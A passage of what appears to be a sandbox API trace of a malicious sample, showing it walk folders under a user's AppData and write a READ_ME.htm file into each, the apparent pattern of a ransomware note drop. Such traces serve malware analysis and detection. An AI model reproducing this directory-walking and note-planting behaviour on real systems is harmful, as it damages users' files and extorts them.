FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796723b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xbf572320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbf572320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.405] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796723b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xbf572320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbf572320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.406] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5d876470, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0x5d876470, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0x6c7fca30, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1 [0147.406] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xab8c1ed0, ftCreationTime.dwHighDateTime=0x1d706ae, ftLastAccessTime.dwLowDateTime=0xab8c1ed0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xbef32960, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="37C951188967C8EB88D99893D9D191FE", cAlternateFileName="37C951~1")) returned 1 [0147.406] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x1aa3080, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x1aa3080, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0xacf78620, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="57C8EDB95DF3F0AD4EE2DC2B8CFD4157", cAlternateFileName="57C8ED~1")) returned 1 [0147.406] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x794f7e10, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x794f7e10, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0xacf524c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1 [0147.406] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7c71ad70, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x7c71ad70, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x7c71ad70, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1 [0147.406] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4eb51c0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4eb51c0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x2948f970, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x148, dwReserved0=0x0, dwReserved1=0x0, cFileName="77EC63BDA74BD0D0E0426DC8F8008506", cAlternateFileName="77EC63~1")) returned 1 [0147.406] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4e42da0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0147.406] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0147.407] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xaeb57250, ftCreationTime.dwHighDateTime=0x1d706ae, ftLastAccessTime.dwLowDateTime=0xaeb57250, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xbef32960, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="C0018BB1B5834735BFA60CD063B31956", cAlternateFileName="C0018B~1")) returned 1 [0147.407] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7f93dcd0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x7f93dcd0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0xbf572320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1 [0147.407] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7f93dcd0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x7f93dcd0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0xbf572320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 0 [0147.407] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.408] SetErrorMode (uMode=0x0) returned 0x1 [0147.408] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData", lpFilePart=0x0) returned 0x47 [0147.409] SetErrorMode (uMode=0x1) returned 0x0 [0147.409] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796723b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xbf572320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbf572320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.410] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x796723b0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xbf572320, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xbf572320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.410] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5d876470, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0x5d876470, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0x6c7fca30, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1 [0147.410] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xab8c1ed0, ftCreationTime.dwHighDateTime=0x1d706ae, ftLastAccessTime.dwLowDateTime=0xab8c1ed0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xbef32960, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x108, dwReserved0=0x0, dwReserved1=0x0, cFileName="37C951188967C8EB88D99893D9D191FE", cAlternateFileName="37C951~1")) returned 1 [0147.410] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x1aa3080, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x1aa3080, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0xacf78620, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x154, dwReserved0=0x0, dwReserved1=0x0, cFileName="57C8EDB95DF3F0AD4EE2DC2B8CFD4157", cAlternateFileName="57C8ED~1")) returned 1 [0147.410] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x794f7e10, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x794f7e10, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0xacf524c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1 [0147.411] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7c71ad70, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x7c71ad70, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x7c71ad70, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1 [0147.411] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4eb51c0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x4eb51c0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0x2948f970, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x148, dwReserved0=0x0, dwReserved1=0x0, cFileName="77EC63BDA74BD0D0E0426DC8F8008506", cAlternateFileName="77EC63~1")) returned 1 [0147.411] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4e42da0, ftLastWriteTime.dwHighDateTime=0x1d706ab, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0147.411] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x799de350, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x799de350, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a43389, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x130, dwReserved0=0x0, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0147.411] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xaeb57250, ftCreationTime.dwHighDateTime=0x1d706ae, ftLastAccessTime.dwLowDateTime=0xaeb57250, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0xbef32960, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="C0018BB1B5834735BFA60CD063B31956", cAlternateFileName="C0018B~1")) returned 1 [0147.411] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7f93dcd0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x7f93dcd0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0xbf572320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1 [0147.411] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7f93dcd0, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x7f93dcd0, ftLastAccessTime.dwHighDateTime=0x1d706ab, ftLastWriteTime.dwLowDateTime=0xbf572320, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 0 [0147.411] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.412] SetErrorMode (uMode=0x0) returned 0x1 [0147.413] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\READ_ME.htm", lpFilePart=0x0) returned 0x53 [0147.413] SetErrorMode (uMode=0x1) returned 0x0 [0147.413] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.414] GetFileType (hFile=0x1d0) returned 0x1 [0147.414] SetErrorMode (uMode=0x0) returned 0x1 [0147.414] GetFileType (hFile=0x1d0) returned 0x1 [0147.415] WriteFile (in: hFile=0x1d0, lpBuffer=0x290a598*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x290a598*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0147.416] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\READ_ME.htm", lpFilePart=0x0) returned 0x4a [0147.416] SetErrorMode (uMode=0x1) returned 0x0 [0147.416] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\microsoft\\cryptneturlcache\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0147.417] GetFileType (hFile=0x1d0) returned 0x1 [0147.417] SetErrorMode (uMode=0x0) returned 0x1 [0147.417] GetFileType (hFile=0x1d0) returned 0x1 [0147.417] WriteFile (in: hFile=0x1d0, lpBuffer=0x290eb88*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x290eb88*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0147.426] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x3f [0147.426] SetErrorMode (uMode=0x1) returned 0x0 [0147.427] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\microsoft\\internet explorer\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50fdc710, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x50fdc710, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x50fdc710, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.427] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50fdc710, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x50fdc710, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x50fdc710, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.427] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50fdc710, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x7525ca20, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x7525ca20, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0147.428] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50fdc710, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x7525ca20, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x7525ca20, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 0 [0147.428] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.428] SetErrorMode (uMode=0x0) returned 0x1 [0147.428] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x3f [0147.428] SetErrorMode (uMode=0x1) returned 0x0 [0147.428] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\microsoft\\internet explorer\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50fdc710, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x50fdc710, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x50fdc710, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.429] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50fdc710, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x50fdc710, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x50fdc710, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.429] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50fdc710, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x7525ca20, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x7525ca20, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0147.429] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50fdc710, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x7525ca20, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x7525ca20, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 0 [0147.429] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0147.429] SetErrorMode (uMode=0x0) returned 0x1 [0147.429] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services", lpFilePart=0x0) returned 0x48 [0147.429] SetErrorMode (uMode=0x1) returned 0x0 [0147.429] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\Services\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\locallow\\microsoft\\internet explorer\\services\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50fdc710, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x7525ca20, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x7525ca20, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0147.430] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50fdc710, ftCreationTime.dwHighDateTime=0x1d7b064, ftLastAccessTime.dwLowDateTime=0x7525ca20, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0x7525ca20, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.430] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2020, 